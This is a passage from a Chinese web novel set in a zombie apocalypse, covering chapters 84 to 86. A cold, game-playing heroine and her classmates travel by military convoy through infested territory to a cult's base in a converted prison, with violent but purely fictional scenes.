“咔哒。”一声,扳机立即扣了下去,毫无犹豫地对准对方的脑袋。 “砰——!” 眨眼之间,温知初用了之前从抽屉内翻出的枪。 血往外喷,子弹贯穿脑袋,武装人员瞬间倒地,眼睛翻着,额心一个大洞。 温知初平静地垂眼,看着血沿着地板往外流,她走上前,把写好的那张纸放在了尸体旁。 本来还担心一张纸的可信度不够。 现在看来,不用担心了 第84章 十二楼的众人完全是懵的。 睡梦中被火警铃吵醒也就算了, 还没等他们找到解决铃声的办法,那些救援人员突然冲到十二楼。 “所有人,立刻收拾东西下楼!” “准备出发!” 不少人还顶着个鸡窝头,不明所以地开始穿衣服,拎行李。 “快点!” “半小时内上车!” 不是说明天走吗? 早饭还没吃呢? 这么赶? 慌乱中, 大家往下跑的期间, 还听说死人了。 死的还是武装人员。 那些本来要被送去禁闭室的外校生也在茫然中押上了车, 每个人的太阳xue都被枪狠狠地顶过:“管好你们的嘴。” 忙不叠地都答应了。 总共56人,高三四班16人, 市民30人, 外校生5人,武装工作人员5人。 三个中型的军卡, 除了装人外还得装物资。 温知初走在人群中,本来想上最东边那辆车, 但看到里面已经坐了两个TRES的队员,她停住脚步,走向了另一辆车。 十六个学生上了不同的三辆车,他们这些队员也必须进不同的车, 确保每辆车上都得有他们的人,来保证学生们的安全。 撑着尾门翻上了车,温知初坐在最后排,和斜对面的Yu对上了视线。 班长和副班之间打了个照面, 很快又错开了眼神。 没多久, 车就开了。 毕竟他们不是出来旅游, 是来逃生的。 车再在外面停下去,那些丧尸就要追上来了。 军卡是半封闭的,四周用厚重的蒙布和铁栏包裹, 尾部的遮风布露出缝隙,冷冽的冬风灌进来。 温知初坐的地方,正好是靠门的地方,能透过缝隙看到外面的景象。 一群丧尸正在拼命地追赶行进的军卡,一开始是零散几只,后来越来越多,不过幸好跑不过卡车,那些扭动的尸群越来越远,直到模糊。 温知初百无聊赖地往远处看。 道路中途,也不断有丧尸撞着想要跳上卡车,发出声带嘶吼的声音后因为抓不稳卡车被甩到地上。 车厢外不断传来沉闷的撞击声,跟大雨铺盖似的,不过这动静可比雨恐怖多了。丧尸的吼叫声近到像是贴在了耳旁,那声音几乎像是要掰开身体从它们的喉咙里吐出来,仅仅是听着就让人觉得能闻到腥臭味。 车上不少市民禁闭双眼,身体颤抖着,立马开始祈祷。 直到开出去一个小时,开到了丧尸较少的公路上,这才没有那些动静。 车上的市民和学生开始讨论起来。 “今天到底为什么要出来的这么急啊?” “是啊,走得太急了,我都忘掉带我那个箱子了。” “完了,我也忘了。” “听说死人了。” “有救援人员死了,我下楼的时候看到了,满地都是血,被爆头的。” “肯定还是上次袭击市议长的那批人。” 说到这里,那些市民又开始祈祷。 车的后排,那几个外校生静静地靠近,在副班周围坐下。 有个学生紧张地低声道:“副班…那个人,你做的…” 温知初的视线还望着外面:“嗯。” 几个外校生更紧张了,嘴唇动了几下,也不知道该说什么。 温知初轻笑了一声:“合作愉快。” 有学生咳嗽了几声,也道:“愉快、愉快。” 他紧接说:“以后如果还有用得到的地方,尽管说…尽管说。” 温知初靠在车厢,冷淡地看向外面飞奔着的丧尸,没有再应答。 · 颠簸而行进的车辆中,终端的消息声响起。 温知初垂眼,望向终端。 群里屈孚宁在发消息。 孚:[我下楼比较早,第一批上车的。 ] 孚: [一开始那些工作人员手上拿着名单,好像是算好了每辆车该安排什么人的,但是后来来不及了,有丧尸在周围,匆匆忙忙这才没有名单但来。 ] 孚:[还有。 ] 孚: [他们还有十二个同僚在这个城市的边郊等着汇合,应该马上就要来了。 ] Q:[? ] Q:[有名单? ] Q:[估计是根据这些市民和学生的体质或者血液之类的,分成了不同的重要程度吧。 ] Q:[人员补充这个是肯定的,我也听说了。 ] 确实不可能没有新的武装人员来汇合。 毕竟他们现在这么多市民和学生,可武装人员就五个,弹药也有限。 温知初抬起手,似乎是想回复些什么,但依旧发不出去。 她放下手腕,慵懒地靠回车厢壁,没有再动作。 车开出去两个小时,十一点左右的时候,果然有一个新的军卡跟上了他们队伍,也就是那些新的武装人员。 不多不少,正好十二个,运来许多枪支和弹药。 车沿着城市的废墟继续往外开,开开停停的,中间偶尔需要有人下去清理路障。 现在的路状太糟糕了,到处是撞毁的、堵住的废墟,以及倒塌的广告牌和路标,不清理路障,军卡肯定过不去。 下车的武装人员尽量还不能用枪,毕竟可能吸引来更多的丧尸,对于围过来的丧尸只能用冷兵器处理。 如果围过来太多只能立马回车,绕路走。 就这样又是两个小时后,他们开到了郊外的工业区路,这条路车辆较少,本来算是好走的,但是前面有段路断了。 车停下,温知初掀开帘子往外看,看路状,是这里爆炸过一次,应该是为了防御丧尸之类的原因,这条路被炸出了一个坑,卡车过不去。 直径这么大的坑,这怎么过? 人倒是能沿着边缘过去,但是车怎么办,车上的物资怎么办? “怎么办啊。”车上的市民往外看,“不可能再绕路吧,已经开出这么远了,这条已经是丧尸比较少的路了,其他地方根本过不去。” 有人搭话:“不可能绕的,油加得再满也不可能支撑得住重新绕回去。” 武装人员聚到同一辆车上,皱着眉讨论。 车停在这里其实挺危险的,毕竟这里的丧尸也不少,再停下去,被吸引来的丧尸可就不止这么些了。 有市民走到最后一排把门阖上了,一边祈祷一边不敢往外看:“还是把门关上吧。” 他们是真害怕那些不远处的东西窜上车。 车里太闷了,温知初打开车门出去了,反手把门关上。 武装人员站在坑旁边看,依旧在讨论。 有人问:“为什么不绕路啊?” 另一个人说:“还有条有桥的路,那里也塌了,从工业区出去,就只剩下这条路没有大量的丧尸聚集了。” 绕路的话势必会警过工人区和居民区,那里的丧尸密度可就大了,没有大型炸药绝对走不了。 那人继续道:“燃油有限,也不可能重新规划路线了。” 所以最终的结论是必须得从这里过去。 可怎么过去? 武装人员蹲下身看这个坑:“这附近就是工厂,找找看那种没来得及卸货的货车,车上应该能有不少可以用的货,比如钢架或者沙包、轮胎之类的,要不然我们试试做个临时的桥,我们毕竟这么多人…” 车上又下来了几个人,是那几个外校生,站到温知初身旁,听到了这些话:“做人工桥?这不可能啊。” 就算他们人数不少,但是都是些普通人,又不是什么经验丰富的工人,工具也有限,搭不出那种需要时间才能搭稳固的桥,这坑一看就很深,桥要是搭得不好,军卡容易陷在里面出不来。 所以另一个武装人员立即摇手:“不行,不可能。” 他道:“人多是人多,搭个桥能搭,但是绝对搭不出能让我们的车稳定过去的那种桥。承重这玩意儿,不是业余的人能保证的。” 那人问:“那怎么办?” 有个从事建筑相关行业的市民也加入了讨论。 最终的结论肯定是不可能搭起什么人工桥的,也没这个时间。 市民站在坑边:“幸好这个坑不算太过庞大,比较理智的办法是先回填,然后弄个小坡道出来。” 大概的意思就是先把坑用沙包之类的东西填到一定的高度,做一个缓坡,类似那种承压段,让卡车可以下坑、越过、然后再上坡。 而不是搭那种一失误就会让车掉到坑里、再也上不来的空桥。 这也是耗时耗力的方案。 不过没有更好的办法了。 这个方案一定下来,武装人员就把车门打开,让所有的市民和学生都出来帮忙。 六十几个人,各自分工,有人负责防御随时有可能冲出来的丧尸,有人负责去搜索填坑的东西。 几百米外发现了一辆货车,里面正好全都是沙土袋。 这也算是身处工厂区的好处了。 把驾驶座的丧尸处理完后,武装人员把货车开过来。 这么多沙土袋,不知道能不能把坑给填出个缓坡,看着似乎还要去收集点轮胎之类的。 救援人员先指挥所有的人都要去运沙包填坑。 沙土包很重,从货车上运下来不容易,还得往坑里扔,大家都得帮忙。 也没其他办法,只能捋起袖子开始干。 温知初没有去货车那里搬沙包,她看了眼货车,又看了眼坑,略显不耐烦地抿了抿唇线,往前走。 不幸的事似乎总是一起发生。 有个刚运了一回的中年男人哮喘犯了,人正好就站在温知初不远处,倒在地上,弯着腰大声咳嗽。 周围人刚开始都没反应过来这是在哮喘。 “中风了?” “还是哮喘了?” 反应过来后又不知道哪里有药:“有没有人知道药在哪里?” 那中年男人朝温知初的方向比划着什么,似乎在求助。 副班显然不会在意其他人的死活。 温知初只是冷淡地看了一眼,继续往前走。 副班不在意,班长会在意。 一道高大修长的身影从远处跑了过来,弯下腰,冷静的声音响起:“开车门,让他坐进去,不能再吸灰。” 晏逾明扶着那人,而温知初只是冷淡地路过,两人擦肩而过时,眼神短暂地接触,而后断开,像是都知道彼此要去做什么。 班长把人扶进去了车,有人尝试药给病人拍背,被他阻止了:“拍了会加重。” 他默不作声地翻着背包,直到翻出一个过期的吸入剂。 病人竭力的的吸入声在车厢内响起,晏逾明淡漠地望向车外,似乎在寻找那道修长的身影。 车外,副班走向了武装人员。 有人看向她:“你们这些学生别光站着,沙包还有那么多,想要快点走的话,赶紧去帮忙,别等会儿丧尸多了都走不了,你们又没哮喘,赶紧去干活儿!” 温知初打断他们的话:“那辆货车还能开。” 武装人员显然没理解她的话:“我们当然知道能开,就是能开才把这些沙土包从几百米外运过来了,省了点儿力…你们别添乱,现在不是聊天的时候…” 身后的外校生也说:“副班,要不然我们先去帮忙吧…” 副班长略微皱眉,神情有些不耐烦,依旧看着这些武装人员,平淡地问:“你们是脖子上没有长脑袋吗?” 肩上还扛着沙包的武装人员立即沉下脸,正要说些什么。 “那么大一辆货车你们是看不见吗,”温知初平静地望着他们,“开进坑里不就填满了么?”她冷淡地垂眼:“在这里浪费什么时间?” 第85章 货车开进了坑里, 把坑填得满满当当,甚至还高出了点儿,两边弄了点儿沙土包当缓冲, 方便轮胎过去。 下午三点多, 四辆军卡重新出发。 温知初依旧坐在靠尾门的最后一排, 无所事事地往外看。 这里已经是城市的边界了, 越往外开温度越低, 不少人把脖子往衣领子缩,不停地搓手跺脚取暖。 天气湿冷, 大家穿得不算少, 还是被冷得不舒服。 照顾车上还有个哮喘的病人,不能把门彻底关上。 温知初倒是不怕冷, 坐在风口静默地往外看。 路宽是宽,但废弃的车辆、翻倒的水泥墩随处可见,从他们出发后的两个多小时里,车停了好几次,武装人员喊不少人下车帮忙清理路障。 沿途有很多散落的尸体,是那种还没来得及尸变就被啃得脑袋都不剩的尸体, 腥臭、腐烂,天气冷到尸身结冰。 车辆沿着辅道向南偏东绕行,到收费站的时候已经是黄昏了,这里有几辆废弃的大巴车横亘着,卡住路。 有人下去把收费站旁边的铁丝网砍断, 让军卡可以通行。 外面有个市民因为踩到冻住的尸体摔了一跤, 跪在地上大声祈祷,被武装人员提溜回来了。 每个人回来时,身上或多或少都沾了点儿尸臭味, 这样门是更不能关了,必须得透气,刺棱的风往车里贯,呼啸不止。 黄昏一过,天越来越黑。 停电意味着整个城市没有一丝光亮,卡车得开得小心翼翼,而且夜里这些丧尸的行动显然更躁动。 国道沿线密集着丧尸,挑眼往远处看,能看到夜色里全是窸窸窣窣的身影,往大路跑。 丧尸太多了,得绕路。 可天这么黑,路都看不清,绕到哪里? 这时候,章诎的权限就显得很重要。 大概因为前几次他说对过几次路,武装人员真认为他是个精通路线的人,也愿意参考他说出的路线。 坐在另一辆的章诎道:“去沿河的小路。” 沿河小路有堤坝挡着,丧尸不容易攀爬过来,行驶这才方便了许多。 这条路行驶得很顺利,不过车上的市民和学生们状态不太好,又冷,又饿。 大家基本上都是一整天就吃了半个馒头,御寒能力更差了,只能聚在一起取暖,咳嗽声此起彼伏。 温知初依旧坐在后排的出风口,戴着兜帽,被冻得发硬的白线耳机往下垂落,耳机里播放的音乐声不是很大,偶尔会被过于大的风声压过去,听不清旋律。 车上的帘子在风中被吹得直响。 车厢昏暗,只有温知初坐着的那个位置可以被帘外的月光照到,隐隐绰绰得露出她的轮廓。 八点多钟,终于走到这个堤坝小路的尽头。 车子速度减慢了。 不用往外看都知道除了什么事,堤坝口绝对聚集着大量的丧尸,嘶吼和奔跑的声音跟地底滚雷一般逼近。 所有的尾门立即被关上。 从驾驶员的角度往外看,密密麻麻的丧尸全都往车灯的方向跑。 从规模来看,有三四百个。 这种时候下车清杀是绝对不可能的。 “冲过去!”武装队的队长立马拿着对讲机,对队首的第一辆军卡指挥,“用手榴弹炸出个口子。” 密密麻麻的丧尸爬上军卡的表面,不断尝试想要打开车门,指甲在玻璃上发出刺挠的声音,前盖上、挡风玻璃上全都爬满了丧尸,它们用力地撞击。 枪声响起,武装人员打掉车门附近的丧尸,半个身子探出去,把手榴弹往外投掷。 “轰——!” 前排几十个丧尸被炸散,断肢和尘土四散,后面那些丧尸又涌上来。 武装人员接连不断地拉着保险丝。 第二颗手榴弹把丧尸炸散更多后,第三声炸响紧接着响起。 丧尸群被炸开的口子变大,为首的卡车立马猛踩油门,冲向那个缺口。 剧烈的颠簸中,不断有丧尸从车上掉落。 后面的军卡紧跟第一辆车冲出去,车轮倾轧不少断肢。 车速开到最快,直到尸群被甩下,车子的速度才逐渐慢下来。 中间因为开得太快撞到过路边的混凝土桩子,车头瘪了一大块。大晚上的,路上没灯,如果没有太多丧尸追赶,绝对不能开快。 丧尸是被甩下了,车厢里的人还是大气不敢出,刚才噼里啪啦丧尸往车上爬的声音仿佛还在耳旁响。 神经紧绷着,一时间没人说话。 后门被温知初打开了,风重新贯进来后,车上这才有了些许的对话声。 一打开门,有半截丧尸的身子掉了下来,可能是被手榴弹炸上来的,门一开就往下摔。 丧尸的两条腿被炸没了,上半身和脑袋还在,掉到路上后,头颅朝卡车张望,不停地张嘴发出嘶吼声,拖着残肢还想爬过来。 有人在祈祷,不知道是为了自己,还是为了那些尸体。 “这路这里不是老林场吗?” 有人讨论:“是啊,我前年还来这儿玩过,怎么走这条路?” “路真挺偏的,他们是有很熟悉路线的人吗,选的还挺好。” 其他人不知道,但TRES的队员肯定知道路线是谁提出的。 章诎的地图被共享在群里。 路虽然偏,但确实是最优路线,其他路要么就是路障太多,要么就是丧尸太多。 卡车在老林场里开,最重要的是得看清楚路,别开到田埂里去。 这崎岖的路况,要是卡车不小心陷到哪儿,估计轮胎都拔不出来。 小心翼翼地开到大概晚上十点多,避开城区,进入C市边郊的一个城镇。 小路上时不时冲出几个丧尸,尚且还再处理范围内。比较烦人的是路障,时不时就得喊人下来清。 开开停停大概两三个小时,终于从这片城镇开出去,上了大路。 夜晚实在太冷了,经由将近一天一夜的劳作,武装人员累了,下去帮忙劳碌的学生和市民也累。 又没东西吃,大家瘫在座位上,脸色都很憔悴。 终于在凌晨三点左右,军卡找了个相对安全的地方停车。 武装人员说:“我们已经开到C市里面了,现在可以稍微休息会儿。” 他道:“接下来的路比较安全,我们早上再出发,还有三个小时的路程就能到总点。” “没东西吃,大家撑一撑,先睡会儿。” C市毕竟是终焉教基地所在的城市,部分区域被清理过,越往里走能看到越多人造防线,比他们之前开来的一路要安全太多。 丧尸减少,路障也变少。 不过大家都太累了,没人有力气开车,夜色里时不时还有落石、倒塌的电线什么的,现在必须得停下来休整。 车里传来叹息声:“终于快到了。” 有人道:“几乎每次下去清路障都会喊我,我现在浑身上下都疼。” 大家都困,但很多人睡不着,干了很多活儿,却没怎么吃东西,造成身体无比疲倦但是大脑无比清醒的状态,除了少部分人睡过去,基本所有人都在干瞪眼。 而且也睡不安歇啊,后门关上后车厢里又挤又闷,车厢外窸窸窣窣的声音,一听就是又有丧尸摸上车厢,在找活物。 车只要停下,摸过来的丧尸只会越来越多,他们休整不了多久。 那个哮喘的中年男人又在吸药了,脸不舒服的皱起,胸腔里振出喘息声。 温知初安静地坐在后排,闭目养神。 哮喘的病人用完药,状态好了些,脸色终于没那么紫了,他抬起脑袋,视线里发现对面的人在抖。 他刚才吸药的时候就看到对面人在抖了,当时他还以为是自己的视线在抖。 他抬起头,对面坐着一个熟悉的小青年。 是和他一样的信徒市民,不过人很年轻,才成年不久,长得还挺清秀的怎么还在抖啊? 他直接问出口:“你怎么在抖?” 他问:“冷?” 按理说年轻人不会这么不抗冻啊。 中年男人的声音挺大的,其他人也看过来,温知初平淡地睁眼,也看了过去,不过她的视线很快收回来,也就在期间短暂地在班长身上逗留了一秒。 其他人也问:“抖得这么厉害,肯定被冻着了,看起来好像发烧了。” 小青年穿得不算少,脖子上围着围巾,身上还套着羽绒服。身旁还有个男学生像是怕他冷,紧紧地抱着他,看到有人看向他们,紧张地帮小青年整理围巾。 [等等…] [我关注点歪了,这不是四班的文艺委员么,这个学生怎么和市民关系这么亲近? ] [年龄相近,小年轻很容易亲近的。 ] [我关注点是这小青年为什么不回答那个中年男人的问题啊,真发烧了? ] 反倒是小青年身旁的四班文委抬起头,嗓门有些高地反问:“关你什么事?” 中年男人被反问得一脸莫名其妙:“不是,我就是觉得你朋友好像生病了,都烧成这样了,得吃药。” 四班文委立马回:“我给他吃过退烧药了,马上就能退烧。” 校医正好在这车上,他站起身:“他这症状不太像是发烧啊,我看看。” 他刚走过来,想伸手摸小青年的脸,被男学生挥开了:“别过来!” 校医:“怎么了这是?” 他立马觉得不对劲。 这个四班文委他了解,挺文静的一个男孩儿,怎么突然情绪这么不稳定。 小青年抖得更厉害,他已经开始翻眼白了,现在已经不只几个人觉得不对劲,全车的人都觉得不对劲了,车上的武装人员站起身,他走过来,强硬地把男学生拉开。 他把手放在小青年的额头上,这么一碰,手立即条件反射地缩回来。 这哪里是发烧啊。 额头冻得像个冰块。 四班文委见状要再次扑过去抱住小青年,被人拦住,武装人员把小青年脖子上的围巾扯开,脖子上赫然出现一个被咬过的血窟窿,肉少一大块,已经能看出骨头。 车上几句惊呼,众人立马远离了这个位置,往旁边缩。 “他被咬了!” “他这是被咬、异变了!” “怪不得一直在抖!” “什么时候被咬的啊?” 武装人员惊疑的片刻,四班文委直接又扑到了小青年身上:“你们不要过来!不准伤害他!” 他紧紧地抱着小青年:“他没有尸变,他只是生病了,他肯定不会咬人的。” 一边叫一边哭着:“你们如果想动他,那就先杀了我吧。” 一时间众人都有些动容。 也不敢上前:“小同学,你稍微离远点,我怕他咬到你。” 男学生怀中的小青年眼白翻得越来越厉害了,他一直尖叫反驳着其他人:“我说过他不会咬人的!他不会!你们别过来!” 不知道男学生从哪里拿到的刀,横在手上,上下挥动:“还有三个小时就到达总点了,不是你们的基地么!不是很厉害的宗教么,为什么不能救救他!” [已经被咬过的就没救了,留在车上害人害己。 ] [现在说什么这个孩子肯定都听不进去了,情绪失控了。 ] [我现在特别害怕这个四班文委被咬,他如果被咬了,TRES的任务就彻底失败了。 ] [是啊,十六个学生都得活着啊,死一个也算任务失败。 ] 现在应该有个人走上前阻止这一切,但是竟然没人。 信徒们因为有信仰大多善良,不忍心。武装人员这车上就一个,他好像对四班文委被不被咬到不太感兴趣,手上拿着枪,准备随时在那个小青年暴起的时候直接解决他。 而学生们看其他人不动,他们也不敢动。 班长倒是有能力动,但他的人物设定里同情心占比太大,在这种情况下也暂时无法做出过于果断的决定。 副班长是另一个极端,她完全不在意,依旧闭目养神,戴着耳机,冷淡地隔绝周围的一切动静。 有市民劝:“小同学,你别搂着了,先出来,他要是真咬到你了…” 话没说完,四班文委怀中的青年用力地挣动,猛地屈身,吐出一大滩红黑参杂、腥臭的呕吐物。 众人惶恐着退得更远,生怕沾上呕吐物也会被感染。 这腥味太冲,青年显然已然完全被感染,五脏六腑都坏了。 男学生见状,涕泪交加:“他是下去帮忙清路障才会被咬的…他不是你们的信徒吗,你们就没有想过要救他吗?他现在这么痛苦,你们就这么冷眼旁观么?” 他有些太陷入情绪中,以至于怀中的青年已经狰狞着张嘴想要咬他的脸,他也没有注意到。 “小心!”有市民叫。 青年跃起,嘴上还沾着呕吐物,大张的嘴就要咬向男学生的脸颊肉。 班长三步并成两步走上前,踹向青年的颈部,“砰”的一声闷响,青年的头颅发出骨折的声音,却不知疼痛地继续僵硬扭动。 “你干什么!”被救的四班文委挥舞手上的刀,“你为什么要伤害他!” 没有任何犹豫,刀划破了晏逾明的手背,力道不小,一下深可见骨,血哗啦啦往下流。 “班长!”有学生喊。 晏逾明的神情没有什么变化,捂着手背没说什么。 闻到血味的青年丧尸更激动了,眼见着就要暴起,武装人员的枪举着,依旧没有动作,因为四班文委一跃抱住了青年:“我说了他不会咬人!他只是病了!不要伤害他!” 血从班长的手上往下流,车上一片嘈杂,腥臭的呕吐味弥漫整个车厢。 温知初摘下了没有播放音乐的耳机,她站起身,视线冷淡地掠过Yu受伤的手。 她越过人群往前走,身旁的外校生莫名觉得她有些生气了,虽然不知道为什么生气…他们没阻拦,让开道。 温知初走到青年旁,他的瞳孔涣散,已经无可救药了,不停地呕吐着,像是要把整个肺腑都吐空。 “很吵。”她平淡地说。 在四班文委的尖叫声中,温知初默不作声地拽住青年的后衣领,单手拽着,力道大得根本没人拦得住,男学生挥过来的刀落了空。 车厢门被打开,门一开,车门下一群丧尸咆哮着靠近,“砰”得一声闷响,青年被副班长踹了下去。 一下,青年跌入丧尸堆中。 看着车上的灯和活人,丧尸们连不叠想爬过来,青年和那些丧尸一起在外面用力地想要撞上车厢,嘴大张着,声带震颤着发出猛烈的嘶吼声。 凹陷而发白的双眼往下流淌腥臭的黑血,脸上的肌肉抽搐着,没几块好肉。 副班长做了一件大家都想做、但都不敢做的事。 谁都不想去做那个恶人。 四班文委愣愣地坐在原位,他看着门外不断朝他嘶吼着的青年,早已不是印象中的模样,脖子上的血肉吊着,面目全非。 就算和其他丧尸站在一起,也不会被咬,他已经是他们的同类了… 温知初站在门旁,转回头:“还有人想下去么?” 市民们避开眼神,不忍心去看曾经的同伴变成现在这幅模样,而四班文委怔怔地看着,身躯定住,畏惧外面的那些狰狞面孔,手上的刀已经掉落,颤抖着的看自己的四肢,检查自己身上有没有不小心被咬到的痕迹。 情绪抽离后,只剩下恐惧。 温知初收回眼,手放在尾门的门把手上,准备关门。 [注意关键事件节点:作为被吵到的、性格不怎么好的副班长,你不会这么平静地结束这件事。 ] 温知初的手顿了顿,片刻后,平静地望向坐在地上的那个男学生。 “喂。”她道,“你朋友在外面等你。” 她垂眼,语气淡漠:“不出去继续陪他么?” 第86章 耳畔的电子提示音依旧没停,似乎不希望事情就这么平淡地结束。 温知初看向那个男学生,还想说些什么。 一只骨节分明的手从她身后绕过,捂住了她的嘴。 班长。 班长用得还是那只受伤的手,受伤的手背带着淡淡的血味。 “别说了。”低沉的声音里似乎带着些不明显的笑意,晏逾明一只手捂着温知初的嘴,另一只手把尾门关上。 外面“砰”“砰”声不断, 全都是丧尸的撞门声, 一声比一声激烈,骇然得车厢里的市民们又开始不停祈祷。 温知初定了定。 不知道为什么,一向和班长针锋相对的副班最终选择没有再说什么,大抵是这么多人里,只有班长这个对头的存在尚且能纳入她的眼中…她的视线从地上的男学生身上收回来。 她冷淡地抵开脸前的手, 坐回自己的位置。 车上一股呕吐物的腥臭味。 由于越来越多的丧尸围了过来,这里已经不是一个可以久待的地方,四辆军卡重新开始启动,朝目的地方向行驶。 车开出一段距离,挂在车厢外的丧尸终于全被甩了下去,尾门再次被打开, 给车上的腥臭味散味。 灌进来的冬风再冷,也比闷在这股让人窒息的味道里好。 车厢里的市民们开始清理地上的呕吐物,其他学生也在帮忙,四班文委僵在位置上,身旁的学生低声安慰着他。 “现在这个时代, 死人真的是再平常不过的事, 甚至,死了反而是一种解脱。” 副班长除了把人推下去的时候,一直都是那副事不关己的模样, 慵懒地倚靠在后排,用耳机隔绝周围的声音。 其他人路过后排的时候,对于这个过于冷漠的存在,刻意会放轻脚步,生怕会惹到这个副班,也被她残忍地推下去。 在他们心中,她一直就是这么个冷血冷性的人。 三个小时的车程过去了。 天越来越亮,直到日头高照,才没那么冷,而军卡也终于开到终焉教的基地。 从昨天早上九点出发,到今天、现在快十点,共历经二十五个小时,行驶了上百公里,期间清理过无数次路障、爆破了两次丧尸群,他们终于到达终焉教的基地。 不得不说,C市确实被防护得很好,他们来的这一路上,就属最后三小时障碍最少。 人们往外看。 温知初睁开眼,顺着尾门也往外看。 终焉教的基地选址非常出乎意料。 竟然是一片辽阔的监狱。 军卡现在开到了大门口的封门,武装人员下车交涉后,封门打开,还得过几道防线门才能进到基地最里面。 “监狱?” “怎么是监狱?” 有人惊叹地往外看。 其实选址在监狱并不是很难让人理解。 这片监狱地势高、远离主干道,本身就墙体浑厚、结构坚固,铁网、混凝土与钢铁骨架层层封闭,是天然的防线,最适合抵御丧尸的地方。 不愧称为总点,军卡每进一道防线门,都能看见站岗哨和防御设施,守着不少武装人员,他们会来核验军卡内的人和货物。 最后一道铁门拉开,市民们和学生们终于能下车。 长时间的车程让人疲累,一下车,双脚重新踏回地面,众人有种恍如隔世的感觉。 踩在这片地上,更能感受到监狱带来的安全感。 墙高沟深,拐角有岗哨,外围有带电铁丝网,甚至还有升降吊桥,高处还有可以架机枪的地方,四面都被严防死守,丧尸过来也无从攀爬,就算大面积丧尸潮从外袭来,也能很快地爆破。 这是一个末世里最佳的战区防线,也是最合适的避难所。 这里的武装人员显然作风要冷硬很多。 他们一下来,一批穿着防弹衣的武装人员立马围上来,手中持枪,表情严肃地清点人数。 也没说安慰市民或者说些什么,首先是要听汇报。 市民和学生站在原地,武装人员在一旁去汇报。 “不是69个人么,怎么只剩65个了?”一名军官沉着脸问。 武装人员:“有三个是我们的人,其中两个在路上遇险了,下去清理丧尸的时候被感染,没救得回来。还有一个死在写字楼那个救援点,被外来人员袭击的。” “这个不重要,”军官问,“我问的是信徒。” 武装人员语气顿了顿:“尸变了,没救得回来。” 军官:“尸体呢?” 武装人员低下头:“被遗弃了。” 军官立马皱起眉:“你们是没有受过培训么,尸体不带回来?” [他们这对话信息量大啊…] [什么意思,不在乎他们自己人的性命,在乎一个尸变小青年的尸体? ] [肯定是体质特殊,拿着尸体要做什么吧…我们之前不都这么猜的么… ] [终焉教到底要做什么啊? ] [不知道啊。 ] 武装人员愈发低着头:“当时围观的人太多了,那辆车我们只有一个我们的人在,没来得及应急处理,如果突然动作,可能会引起其他实验品的恐慌…” [卧槽,他们喊信徒实验品欸! ] 军官继续问:“那尸体怎么没带回来?” 武装人员:“当时被人踹下去了。” “踹下去?”军官眉头皱得更深,“谁踹的?” 武装人员道:“那个学生。” 军官顺着他的视线看,军卡后,站着一道修长的身影,戴着兜帽,和其他聚集在一起的市民和学生不一样,她独自站着,似乎不合群。 武装人员:“是个刺头。” “刺头?”军官问。 温知初察觉到看过来的视线,她冷淡地看了过去,只瞥了一眼,又收回了视线。 · 汇报结束后,五十个普通市民和学生被带着进了大厅。 这里原来是登记罪犯和探访的地方,被改造成大厅,一进去,还有暖气。 疲惫的众人终于能坐下了,有人咳嗽,有人低声说话。 厅堂很大,离他们很远的斜对面角落,几个武装人员围在白板边,也不知道在说着什么,白板上贴得大抵是区域布防图。 终于有人送东西来吃了,一时间没人说话,都在闷头吃东西,都是些干粮,但起码比饿肚子好。 再不吃东西,胃快烧坏了。 吃东西的同时,有武装人员依次检查他们每个人带来的行李,还有问话。 大概一个小时左右,五十个人都被核查完,东西也吃完,他们离开大厅,被带进监狱内部,也就是他们将来会一直生活的地方。 带队的武装人员简单地给他们介绍基地结构。 “监狱被改造成基地后,一共分成五个区。”他道。 “中区是你们等会儿可以去治疗伤口的地方,那边是有医疗站,有医生。” “西区是我们武装人员的地方,你们平常没事不要去。”那里设有武器仓库,维修武器的人员也基本都待在那里。 “南区你们更不要靠近,是终焉教的行政区,圣谕者、代行者以及其他圣职人员才能进入的地方,不过南区边缘的祈祷室你们可以去。” 说完南区,不少市民纷纷把手放在胸口,表示对圣谕者的尊敬:“我们绝不会去冲撞伟大的圣谕者。” TRES的队员们听到关键词,彼此交换了眼神。 其他人不想冲撞的存在,是他们这轮域必须要看到的存在。 “北区,”武装人员继续道,“就是你们刚刚进来能看到那片地方,是防御区和清理丧尸的地方,被爆破的尸体必须要及时处理,要不然会造成病毒传染,你们以后也许会被分到类似清理尸体的活儿,反正有事大家肯定要一起上,维护好我们这片净土。” “最后是东区,你们住的地方。”武装人员道。 东区是把原来的囚室打通了,加了通风口,改成普通民众吃住和干活儿的地方。 众人被带到东区,人来人往,挤挤囊囊,自丧尸潮爆发以来,他们还是第一次看到这么多活人聚集在一起。 大家还挺有秩序的,都在做着各自的事。 “好多人。”有人不禁感叹道。 武装人员:“大部分都是忠诚的信徒,你们倒也不必担心融入不进去,我们拥有同一个信仰,代表着我们肯定能团结在一起。” 他们这些写字楼来的市民和学生被分到了东区最靠外的两间宿舍,大的那个宿舍给了市民,小的给了学生,房间非常宽敞,里面摆着超过三十张硬板床铺,因为空间太大,被称为通舍。 每间除了他们还有其他原本已经住在这里的人。 他们进了通舍,拿到分到手的被褥,开始整理自己的床和行李。 可能是因为这里原来是囚室的缘故,确实有些压抑。 不过有地方睡就不错了,他们还能有被子御寒。 比以前睡办公室地板舒服多了。 他们收拾的时候,武装人员在说他们待在基地里要注意的事。 无非就是不要乱跑,要遵守秩序。 最主要说的是他们的分工。 分为外勤和内勤。 外勤分给体力比较好的人,会出去帮忙清理路障、搬运、协助武装人员搜寻物资和清理丧尸之类的。 内勤留在监狱里,负责清点、清扫、供给和统计物资这类事儿,听起来简单但做起来很繁琐,也不轻松。 聪明点儿的可以帮医疗区那里打下手。 武装人员:“你们的人名已经被登记了,但是具体负责做什么我们还没有定下来,你们刚来,先休息一天再说…等明天晚上,我们再来告诉你们到底要干些什么。” 他道:“在这里可以做到一日三餐…”他停顿了下,等人群欢呼声结束后继续说:“反正只要遵守规矩,这就是你们的家,对了,你们中如果有人受伤的,到医疗部那里领药就行了。” 说完这句,武装人员离开了。 其他人继续整理行李和床铺。 有人发现通舍里竟然还有零食,大家兴奋了会儿,不过没有吵闹太久,毕竟所有人都很疲惫,基本能休息的都去休息,困到连午饭都不想着去吃,就想一觉睡到明天。 他们这个学生聚集的通舍一下变得很安静,兴奋劲儿和新鲜劲儿过去后,疲倦感反扑。 一路寒风少食,免疫力不够,班委清点了下,大部分学生竟然都发烧了。 领药的班委还没回来,大多数人都躺下了。 温知初的位置依旧是远离人群的偏僻处,不知道是不是因为大家都怕离她太近,甚至她旁边还空了一个床位。 她坐在床旁的椅子上,兜帽半戴,斜倚在墙前,手上拿着那本《钢铁终焉》,往后看。 看了会儿,她放下书,闭上双眼。 